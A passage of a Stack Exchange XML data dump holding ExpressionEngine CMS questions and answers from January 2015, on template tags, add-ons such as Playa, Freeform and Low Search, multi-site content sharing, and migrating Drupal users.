BY-SA 3.0" />
  <row Id="28509" PostTypeId="2" ParentId="28465" CreationDate="2015-01-16T22:39:22.380" Score="0" Body="&lt;p&gt;Just by the way, I'm the one who supplied the fixes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No templates are installed, but if you following the documentation (&lt;a href=&quot;http://moresoda.co.uk/docs/moreevents/sections/templates/&quot; rel=&quot;nofollow&quot;&gt;http://moresoda.co.uk/docs/moreevents/sections/templates/&lt;/a&gt;) its a pretty straightforward process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What specifically are you having issues with?&lt;/p&gt;&#xA;" OwnerUserId="3778" LastActivityDate="2015-01-16T22:39:22.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28511" PostTypeId="2" ParentId="28504" CreationDate="2015-01-17T02:36:04.640" Score="1" Body="&lt;p&gt;The &lt;code&gt;if no_results&lt;/code&gt; is actually referencing the outer &lt;code&gt;exp:channel:entries&lt;/code&gt; tag - basically an EE parse order issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test inside playa, you need to use the &lt;code&gt;var_prefix&lt;/code&gt; parameter... as in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents var_prefix=&quot;my_var&quot;}&#xA;{if my_var:no_results}&#xA;    //no results behaviour here&#xA;{/if}&#xA;{if my_var:count == '1'} &#xA;     &amp;lt;h4 class=&quot;f400m&quot;&amp;gt;&amp;lt;strong&amp;gt;{child:title}&amp;lt;/strong&amp;gt;&amp;lt;/h4&amp;gt;  &amp;lt;!-- The Str Discipline title--&amp;gt;&#xA;{/if}&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The docs: &lt;a href=&quot;https://docs.pixelandtonic.com/playa/templating/module/parents.html&quot; rel=&quot;nofollow&quot;&gt;https://docs.pixelandtonic.com/playa/templating/module/parents.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2015-01-23T00:12:13.620" LastActivityDate="2015-01-23T00:12:13.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28513" PostTypeId="2" ParentId="28506" CreationDate="2015-01-17T22:41:32.737" Score="1" Body="&lt;p&gt;You'll need to &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;write an extension&lt;/a&gt; which uses the &lt;code&gt;file_after_save&lt;/code&gt; hook. This hook passes you the &lt;code&gt;$file_id&lt;/code&gt; and an array of info about the file called &lt;code&gt;$data&lt;/code&gt;. Using this info you should be able update the file name doing something like this in your extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function file_after_save($file_id, $data)&#xA;{&#xA;    $parts = pathinfo($data['file_name']);&#xA;    $new_file_name =&#xA;        $parts['filename'].&#xA;        '_foobar_'. // whatever you want to add to the filename&#xA;        $data['uploaded_by_member_id'].&#xA;        '.'.$parts['extension'];&#xA;&#xA;    ee()-&amp;gt;load-&amp;gt;library('filemanager');&#xA;    ee()-&amp;gt;filemanager-&amp;gt;rename_file($file_id, $new_file_name, true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-17T22:41:32.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28514" PostTypeId="2" ParentId="25743" CreationDate="2015-01-17T23:13:28.123" Score="0" Body="&lt;p&gt;I would look into using either &lt;a href=&quot;https://devot-ee.com/add-ons/export-it&quot; rel=&quot;nofollow&quot;&gt;Export It&lt;/a&gt; or &lt;a href=&quot;https://devot-ee.com/add-ons/ajw-export&quot; rel=&quot;nofollow&quot;&gt;AJW Export&lt;/a&gt;. I have personally used ajw-export it exports to csv. However you'll need to write sql queries.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2015-01-17T23:13:28.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28516" PostTypeId="2" ParentId="28497" CreationDate="2015-01-18T18:36:10.713" Score="0" Body="&lt;p&gt;ExpressionEngine does not log entry creation/deletion unfortunately - only user logins, and higher-level admin actions (such as creating/deleting channels, fields, and members), which can be found under &lt;strong&gt;Admin &amp;rarr; Utilities &amp;rarr; View Control Panel Log&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no way to know who deleted your page (without, you know, just asking around).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-18T18:36:10.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28517" PostTypeId="2" ParentId="28494" CreationDate="2015-01-18T18:43:55.590" Score="0" Body="&lt;p&gt;Not out of the box, no. But I've done this before by using the &lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html#store_order_recalculate_start&quot; rel=&quot;nofollow&quot;&gt;store_order_recalculate_start&lt;/a&gt; hook. I looped through all of the items in the &lt;code&gt;$order&lt;/code&gt;, and if any product met my criteria, I set a cookie saying so (in your case, it could be as simple as saying &lt;code&gt;limit_countries&lt;/code&gt; or something, but you could get more complex by storing data in a hashed array).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you need a plugin tag to check for that cookie, and if present you show a different list of countries during checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a simplified example, but it's roughly the path you'd need to take.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-18T18:43:55.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28518" PostTypeId="1" AcceptedAnswerId="28562" CreationDate="2015-01-18T20:37:45.790" Score="3" ViewCount="163" Body="&lt;p&gt;I'm in the process of developing 6 sites for a company for their membership associations. While I started with the idea that I would be using MSM (which I wasn't crazy about) to help manage everything, Zoo Visitor is not supported in that environment.  So I opted to go with individual sites.  The backend of all of the sites is nearly identical, short of the home page (which is managed by Low Variables) and the categories for their resources.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, we just launched site #2 and the client is already asking about a way to manage content more efficiently.  They post several events that are the same across all of the companies, or at least 2-3.  So when we are finished that means they will have to post them on six different sites (and update them six times should details change).  I had built their current site many years ago (using Classic ASP) and they could add a single event and choose which sites they want to post it to.  While the EE route is certainly an upgrade over what they had, they are taking a step backwards in some regards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I hadn't tested anything yet, I had considered running all of the sites from a single installation (yes, I understand the licensing issues - I would talk with Ellislab about my options and purchasing multiple licenses).  Then I could use a field that allowed me to choose which &quot;site&quot; the content gets published to.  This way they could manage everything from a single location, like they had hoped.  Another idea was to publish the events to a feed of some sort, then check and pull those into the other sites.  But this would mean that one of the individual sites would have to become the &quot;host&quot;.  If they wanted to convert their parent company site to EE (which they may at some point), then this would be a reasonable option.  But in the meantime....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What options do I have when MSM isn't an option?&lt;/li&gt;&#xA;&lt;li&gt;Any suggestions for the best way to post a feed for events (including attachments)?&lt;/li&gt;&#xA;&lt;li&gt;Anyone have a similar experience that they wouldn't mind discussing how they handled it?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks for any feedback!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Todd&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2015-01-20T15:49:35.603" Title="Suggestions when MSM is not an option?" Tags="|multi-site-manager|multiple-sites|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28519" PostTypeId="1" AcceptedAnswerId="28577" CreationDate="2015-01-19T00:11:59.793" Score="0" ViewCount="38" Body="&lt;p&gt;I can't seem to be able to sort Asset files by their title, instead only by their filename through &lt;code&gt;orderby=&quot;name&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use the Title field for ordering?&lt;/p&gt;&#xA;" OwnerUserId="3778" LastActivityDate="2015-01-20T23:12:46.220" Title="Assets orderby Title" Tags="|assets|pixelandtonic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28520" PostTypeId="1" CreationDate="2015-01-19T01:36:57.860" Score="0" ViewCount="182" Body="&lt;p&gt;So we have site that allows logged in members to view job postings and send a form to apply to the job view Freeform. The issue we are looking at resolving is preventing duplicate submissions to the same job by a logged in member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we use &quot;prevent_duplicates_on&quot;, then it will not allow the user to apply to other jobs since they all use the same form. Freeform would look in the system and find that this person (based on the members email) has already sent a submission. But, the system doesn't see that the member sent a submission to a different job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-01-20T05:28:08.480" Title="Freeform - Duplicates on Entry by Member" Tags="|solspace-freeform|solspace|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28521" PostTypeId="1" AcceptedAnswerId="28531" CreationDate="2015-01-19T01:48:50.853" Score="0" ViewCount="60" Body="&lt;p&gt;I've got the following product form tag for adding multiple items (Donations) to a cart but can't figure out how to allow the user to input the price.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:store:product_form}&#xA;    {exp:channel:entries channel=&quot;{donation_channel}&quot; dynamic=&quot;no&quot;}&#xA;        {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot; }&#xA;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;items[{count}][entry_id]&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;&#xA;            &amp;lt;label class=&quot;field_label&quot; for=&quot;price&quot;&amp;gt;{donation-description}&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;items[{count}][item_qty]&quot; value=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;&#xA;            {/exp:store:product}&#xA;        {/exp:channel:entries}&#xA;&#xA;           &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Make Donation&quot; class=&quot;button expand&quot; /&amp;gt;&#xA;&#xA;{/exp:store:product_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastEditorUserId="547" LastEditDate="2015-01-19T02:01:54.693" LastActivityDate="2015-01-19T12:57:26.807" Title="User Input Price within product form tag" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28522" PostTypeId="1" AcceptedAnswerId="28534" CreationDate="2015-01-19T07:45:41.210" Score="0" ViewCount="249" Body="&lt;p&gt;I have a very specific URL structure I'm trying to set up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;city-segment/venue-segment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex. houston/the-bar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;city-segment&quot; pulls from a City Channel while &quot;venue-segment&quot; pulls from a Venue Channel. I've got it set up correctly using the Pages Module, but now I'm trying to display a field from the City Channel using a third segment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;houston/the-bar/information&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;information&quot; segment should display text entered into the {venue_info} field of &quot;The Bar&quot; Venue Channel Entry. I have an info template within the venue template group with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;venues&quot;&#xA;  disable=&quot;categories|member_data|pagination&quot;&#xA;  dynamic=&quot;no&quot;&#xA;  limit=&quot;1&quot;&#xA;  require_entry=&quot;yes&quot;&#xA;  status=&quot;open&quot;&#xA;  url_title=&quot;{segment_2}&quot;&#xA;}&#xA;&#xA;  {venue_info}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Trying to view this code gives me nothing. I'm guessing that assigning a Channel Entry to a URI using the Pages Module is preventing me from using any segment variables? If so, is there another way to solve this without using Structure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Venue/Info Template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;_layouts/.html-layout&quot;}&#xA;&#xA;{layout:set name=&quot;city&quot; value=&quot;{segment_1}&quot;}&#xA;&#xA;Hi&#xA;&#xA;{exp:channel:entries&#xA;  channel=&quot;venues&quot;&#xA;  disable=&quot;categories|member_data|pagination&quot;&#xA;  limit=&quot;1&quot;&#xA;  require_entry=&quot;yes&quot;&#xA;  status=&quot;open&quot;&#xA;  url_title=&quot;{segment_2}&quot;&#xA;}&#xA;&#xA;  {title} Info&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="454" LastEditorUserId="454" LastEditDate="2015-01-19T18:33:00.273" LastActivityDate="2015-01-19T18:33:00.273" Title="Can you use segment variables with the Pages Module?" Tags="|segments|pages|page-uri|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28524" PostTypeId="2" ParentId="28522" CreationDate="2015-01-19T07:54:41.750" Score="0" Body="&lt;p&gt;Did you select the information template in the Pages tab?&lt;img src=&quot;https://i.stack.imgur.com/Alojo.png&quot; alt=&quot;selecting template&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your code should work fine.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2015-01-19T07:54:41.750" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28525" PostTypeId="2" ParentId="28518" CreationDate="2015-01-19T08:55:56.047" Score="0" Body="&lt;p&gt;Doing each as a subdomain would allow you to run them all legally from a single instance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.yourdomain.com &lt;/li&gt;&#xA;&lt;li&gt;office1.yourdomain.com &lt;/li&gt;&#xA;&lt;li&gt;office2.yourdomain.com&lt;/li&gt;&#xA;&lt;li&gt;etc..&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can then create groups of users for different sites and assign access to particular channels based on that group&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2015-01-19T08:55:56.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28526" PostTypeId="1" CreationDate="2015-01-19T09:09:24.743" Score="1" ViewCount="40" Body="&lt;p&gt;I am in need of moving some content from Drupal site to EE site. Problem is that this content includes User accounts and passwords. Is there any way of swapping the hashing functions in EE for the one that drupal is using? So I dont need to manipulate the hashes alone nor ask all users to reset passwords?&lt;/p&gt;&#xA;" OwnerUserId="4952" LastActivityDate="2015-01-19T09:33:29.170" Title="Moving users from drupal DB to EE Database" Tags="|users|password|forgot-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28527" PostTypeId="2" ParentId="28526" CreationDate="2015-01-19T09:33:29.170" Score="2" Body="&lt;p&gt;You will need to keep old Drupal members database and create a custom extension that will be triggered when user tries to log in for the first time (password in EE not set). It will utilize Drupal authenticate functions to check whether the user is permitted to log in and it yes - set password in EE database and log him in.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-01-19T09:33:29.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28528" PostTypeId="1" CreationDate="2015-01-19T10:17:01.273" Score="0" ViewCount="22" Body="&lt;p&gt;I've got a couple of channels. One is a Standard channel. There are multiple Member groups. Each with their own part they can edit, but most entries belong to the Standard channel. &#xA;Members can now edit all entries under Standard. Als the entries not belonging to them.&#xA;Is it possible for members to edit the entries belonging to one of their Member's?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="1178" LastActivityDate="2015-11-16T14:36:11.403" Title="Can author's edit each others entries within Membergroup" Tags="|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28529" PostTypeId="2" ParentId="28522" CreationDate="2015-01-19T11:44:19.570" Score="1" Body="&lt;p&gt;It seems like an embed might help you get the job done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you you do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_embeds/venue&quot; segment_2=&quot;{segment_2}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your embedded template: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;venues&quot;&#xA;  disable=&quot;categories|member_data|pagination&quot;&#xA;  dynamic=&quot;no&quot;&#xA;  limit=&quot;1&quot;&#xA;  require_entry=&quot;yes&quot;&#xA;  status=&quot;open&quot;&#xA;  url_title=&quot;{embed:segment_2}&quot;&#xA;}&#xA;&#xA;  {venue_info}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="263" LastActivityDate="2015-01-19T11:44:19.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28530" PostTypeId="2" ParentId="28528" CreationDate="2015-01-19T12:53:48.393" Score="1" Body="&lt;p&gt;Look under &lt;strong&gt;Members &amp;rarr; Member Groups &amp;rarr; Edit Member Group&lt;/strong&gt; - there's a section called &lt;strong&gt;Channel Posting Privileges&lt;/strong&gt;. There is a setting there which determines whether members in a group can edit other members' entries in whatever channels they have access to called &lt;em&gt;Can edit entries authored by others&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ua4VG.png&quot; alt=&quot;Channel Posting Privileges&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-19T12:53:48.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28531" PostTypeId="2" ParentId="28521" CreationDate="2015-01-19T12:57:26.807" Score="1" Body="&lt;p&gt;You need to add a &lt;code&gt;price&lt;/code&gt; input for each item.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;items[{count}][price]&quot; value=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And of course you need the Store field for that channel set to allow user prices.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-19T12:57:26.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28532" PostTypeId="2" ParentId="28519" CreationDate="2015-01-19T12:58:49.690" Score="1" Body="&lt;p&gt;Nope. According to the &lt;a href=&quot;https://docs.pixelandtonic.com/assets/templating/module/files.html#tag-parameters&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; you can only order by file_id, name, folder, date, and size.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-19T12:58:49.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28533" PostTypeId="2" ParentId="28520" CreationDate="2015-01-19T13:08:52.563" Score="1" Body="&lt;p&gt;You'll need to &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;write an extension&lt;/a&gt; to perform this kind of check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;a href=&quot;http://www.solspace.com/docs/freeform/extension_hooks/#freeform_module_validate_begin&quot; rel=&quot;nofollow&quot;&gt;freeform_module_validate_begin&lt;/a&gt; hook, and then do something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look up entries in the &lt;code&gt;exp_freeform_entries&lt;/code&gt; table which match the &lt;code&gt;author_id&lt;/code&gt; to &lt;code&gt;ee()-&amp;gt;session-&amp;gt;userdata('member_id')&lt;/code&gt;, and whatever your form field is which holds the job being applied for (ID or name or whatever) to the matching value for that field in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Look at your database directly to figure out table and field names for this, it will save you time and headaches!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find a match, add a new error to the&lt;code&gt;$errors&lt;/code&gt; array, and return it. Otherwise, just return the &lt;code&gt;$errors&lt;/code&gt; array as you received it.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-19T13:08:52.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28534" PostTypeId="2" ParentId="28522" CreationDate="2015-01-19T14:43:16.050" Score="2" Body="&lt;p&gt;You can do this using &lt;a href=&quot;https://devot-ee.com/add-ons/resource-router&quot; rel=&quot;nofollow&quot;&gt;Resource Router&lt;/a&gt; instead of the Pages module. In your &lt;code&gt;system/expressionengine/config/config.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['resource_router'] = array(&#xA;    ':any/:any/(info|menu|hours|some_other_page)' =&amp;gt; function($router, $wildcard1, $wildcard2, $wildcard3) {&#xA;        $validCity = $wildcard1-&amp;gt;isValidUrlTitle(array('channel' =&amp;gt; 'cities'));&#xA;&#xA;        $validVenue = $wildcard2-&amp;gt;isValidUrlTitle(array('channel' =&amp;gt; 'venues'));&#xA;&#xA;        if ($validCity &amp;amp;&amp;amp; $validVenue)&#xA;        {&#xA;            $router-&amp;gt;setTemplate('_venues/_'.$wildcard3);&#xA;        }&#xA;        else&#xA;        {&#xA;            $router-&amp;gt;set404();&#xA;        }&#xA;    },&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This example assumes you have a &lt;code&gt;_venue&lt;/code&gt; template group with &lt;code&gt;_info&lt;/code&gt;, &lt;code&gt;_menu&lt;/code&gt;, &lt;code&gt;_hours&lt;/code&gt;, and &lt;code&gt;_some_other_page&lt;/code&gt; templates. In your templates can you just refer to &lt;code&gt;{segment_X}&lt;/code&gt; variables as normal.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2015-01-19T14:43:16.050" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28535" PostTypeId="2" ParentId="28518" CreationDate="2015-01-19T14:55:47.407" Score="0" Body="&lt;p&gt;I've done this before, but I used MSM for it. But instead of separate channels, entries and fields I used a single site as the 'master' and added checkbox fields for determining which sites an entry should be published on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also implemented overrides for most of the content fields, so that content could be slightly different on each site where necessary but fallback to the master content by default (beware though, this is not a very scalable solution, probably not good for 6 sites, but if the content is going to be identical then don't bother). Additionally/alternatively, editors can wrap things in the middle of a sentence with something like &lt;code&gt;&amp;lt;span class=&quot;uk_only&quot;&amp;gt;UK content only&amp;lt;/span&amp;gt;&lt;/code&gt; to limit bits of content to a particular site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a good use-case for Switchee. Here's some example template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee parse=&quot;inward&quot; variable=&quot;{global:loc}&quot;}&#xA;&#xA;    {case value=&quot;ire&quot;}&#xA;        {if ireland_body}&#xA;            {ireland_body}&#xA;        {if:elseif uk_body}&#xA;            {uk_body}&#xA;        {/if}&#xA;    {/case}&#xA;&#xA;    {case value=&quot;can&quot;}&#xA;        {if canada_body}&#xA;            {canada_body}&#xA;        {if:elseif uk_body}&#xA;            {uk_body}&#xA;        {/if}&#xA;    {/case}&#xA;&#xA;    {case default=&quot;yes&quot;}&#xA;        {uk_body}&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the content is identical and you want to use checkboxes/radios to determine which sites an entry appears you can use the &lt;code&gt;search&lt;/code&gt; parameter something like this (that's a PT radio group field):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    limit=&quot;1&quot;&#xA;    disable=&quot;categories|member_data|pagination&quot;&#xA;    status=&quot;{global:entry_statuses}&quot;&#xA;    site=&quot;master_site&quot;&#xA;    search:pages_sites=&quot;IS_EMPTY|all|{global:loc}&quot;&#xA;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {pages_body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;global:loc&lt;/code&gt; variable is defined per site via FocusLab Master Config, and templates are routed to the master site via a standard MSM cross-site embed (though probably better to use Resource Router add-on for that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, in order to resolve any Pages module URIs to the right place I developed the Slavedriver add-on: &lt;a href=&quot;https://github.com/thisisjamessmith/Slavedriver&quot; rel=&quot;nofollow&quot;&gt;https://github.com/thisisjamessmith/Slavedriver&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works fairly well in my opinion, though the Publish screens can get a little overwhelming. There's also Publisher, which might help instead: &lt;a href=&quot;https://boldminded.com/add-ons/publisher&quot; rel=&quot;nofollow&quot;&gt;https://boldminded.com/add-ons/publisher&lt;/a&gt; ... it's touted as multi-lingual, but the approach is really the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Come to think of it, this approach would probably also work without MSM (notwithstanding the licensing issue you mentioned). (In my case MSM was necessary for other reasons anyway)&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2015-01-19T21:13:38.457" LastActivityDate="2015-01-19T21:13:38.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28536" PostTypeId="1" CreationDate="2015-01-19T15:59:38.037" Score="1" ViewCount="16" Body="&lt;p&gt;Anyone know if its poss to add the username to the password_reset_email_template in solspace users exp:user:forgot_password form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have lots of users forgetting their username as well their password so adding it to the reminder email would be handy.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2015-01-19T15:59:38.037" Title="Add username to solspace user password_reset_email_template" Tags="|solspace-user|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28537" PostTypeId="1" CreationDate="2015-01-19T17:19:38.703" Score="0" ViewCount="70" Body="&lt;p&gt;I've got an issue here where a low search via a select drop down is returning all results, and I am not sure why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the search form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form result_page=&quot;{segment_1}/search&quot; form_id=&quot;last_name_search&quot; starts_with=&quot;search:Lastname&quot;}&#xA;        &amp;lt;select name=&quot;search:Lastname&quot; id=&quot;last_name&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot; selected&amp;gt;Initial Last Name&amp;lt;/option&amp;gt;&#xA;            {exp:low_list:each items=&quot;A|Z&quot; range=&quot;yes&quot;}&#xA;                &amp;lt;option value=&quot;{val}&quot;&amp;gt;&#xA;                  {val}&#xA;                &amp;lt;/option&amp;gt;&#xA;             {/exp:low_list:each}&#xA;        &amp;lt;/select&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to search a members channel by querying against the first letter of their last name. To do this starts_with seemed to be the Field Search parameter that needed to be used. But, in the results tag, every member is being returned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the results tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;        limit=&quot;20&quot;&#xA;        paginate=&quot;bottom&quot;&#xA;        query=&quot;{segment_3}&quot;&#xA;        status=&quot;Members-id5|Staff-id7|Site_Admins-id6|Corporate-id8&quot;}&#xA;    {!-- HTML stuffs --}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I checked {low_search_search:Lastname} and it does hold the correct lettered I want to query with, but it's not being applied to the results. What am I doing wrong here? Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="4953" LastActivityDate="2015-06-19T09:37:41.080" Title="Low Search starts_with Returns All Result" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28538" PostTypeId="2" ParentId="28537" CreationDate="2015-01-19T17:49:32.837" Score="1" Body="&lt;p&gt;To quote &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#params&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[P]arameters can be applied in two ways: as input fields in a Form, or as hard-coded parameters in the Results or URL tag.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That means the Form tag doesn't accept any filter parameters, like &lt;code&gt;starts_with&lt;/code&gt;. So try moving that parameter to the Results tag instead.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-01-19T17:49:32.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
